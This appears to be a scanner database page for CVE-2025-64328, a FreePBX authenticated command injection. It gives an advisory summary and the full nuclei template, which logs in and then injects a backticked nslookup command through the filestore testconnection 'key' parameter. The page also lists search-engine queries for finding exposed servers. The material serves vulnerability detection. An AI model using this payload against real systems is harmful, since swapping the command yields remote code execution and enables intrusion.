FreePBX >= 17.0.2.36 && < 17.0.3 - Authenticated Command Injection

Exploited in the wild. Listed by CISA on 2026-02-03; known to be used by ransomware.

criticalseverity

8.6CVSS score

84.6%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

FreePBX Endpoint Manager 17.0.2.36 to < 17.0.3 contains a command injection caused by improper sanitization in filestore module's testconnection check_ssh_connect() function, letting authenticated users execute commands as asterisk user.

Impact

Authenticated attackers can execute arbitrary commands as the asterisk user, gaining remote access to the system.

Fix

Upgrade to version 17.0.3 or later.

How to confirm it

Send: POST {{BaseURL}}/admin/config.php
Positive when: contains "FreePBX Administration" and "Hello, {{username}}"
Send: GET {{BaseURL}}/admin/ajax.php?module=filestore&command=testconnection&driver=SSH&host=127.0.0.1&user={{prefix}}&port=22&key={{prefix}}`{{cmd}}`&path={{p…
Positive when: contains in interactsh_protocol "dns" or "http"

Run it with nuclei: nuclei -id CVE-2025-64328 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2025-64328

info:
  name: FreePBX  >= 17.0.2.36 && < 17.0.3 - Authenticated Command Injection
  author: _th3y
  severity: critical
  description: |
    FreePBX Endpoint Manager 17.0.2.36 to < 17.0.3 contains a command injection caused by improper sanitization in filestore module's testconnection  check_ssh_connect() function, letting authenticated users execute commands as asterisk user.
  impact: |
    Authenticated attackers can execute arbitrary commands as the asterisk user, gaining remote access to the system.
  remediation: |
    Upgrade to version 17.0.3 or later.
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
    cvss-score: 8.6
    cve-id: CVE-2025-64328
    epss-score: 0.84618
    epss-percentile: 0.99707
    cpe: cpe:2.3:a:sangoma:freepbx:*:*:*:*:*:*:*:*
  reference:
    - https://github.com/FreePBX/security-reporting/security/advisories/GHSA-vm9p-46mv-5xvw
    - https://theyhack.me/CVE-2025-64328-FreePBX-Authenticated-Command-Injection/
    - https://www.cisa.gov/news-events/alerts/2026/02/03/cisa-adds-four-known-exploited-vulnerabilities-catalog
  metadata:
    vendor: sangoma
    product: freepbx
    shodan-query:
      - http.title:"freepbx"
      - http.favicon.hash:"-1908328911"
      - http.favicon.hash:"1574423538"
      - http.title:"freepbx administration"
    fofa-query:
      - icon_hash="-1908328911"
      - icon_hash="1574423538"
      - title="freepbx administration"
      - title="freepbx"
    google-query:
      - intitle:"freepbx administration"
      - intitle:"freepbx"
  tags: cve,cve2025,freepbx,rce,oast,authenticated,vuln,kev,vkev

variables:
  username: "{{username}}"
  password: "{{password}}"
  cmd: "nslookup {{interactsh-url}}"
  prefix: "{{rand_text_alpha(5)}}"

flow: http(1) && http(2)


http:
  - method: POST
    path:
      - "{{BaseURL}}/admin/config.php"
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: "username={{username}}&password={{password}}"

    matchers:
      - type: word
        part: body
        words:
          - 'FreePBX Administration'
          - 'Hello, {{username}}'
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/admin/ajax.php?module=filestore&command=testconnection&driver=SSH&host=127.0.0.1&user={{prefix}}&port=22&key={{prefix}}`{{cmd}}`&path={{prefix}}"
    headers:
      Referer: "{{BaseURL}}"

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"
          - "http"

References

Use this check only on systems you are authorised to test. Where the data comes from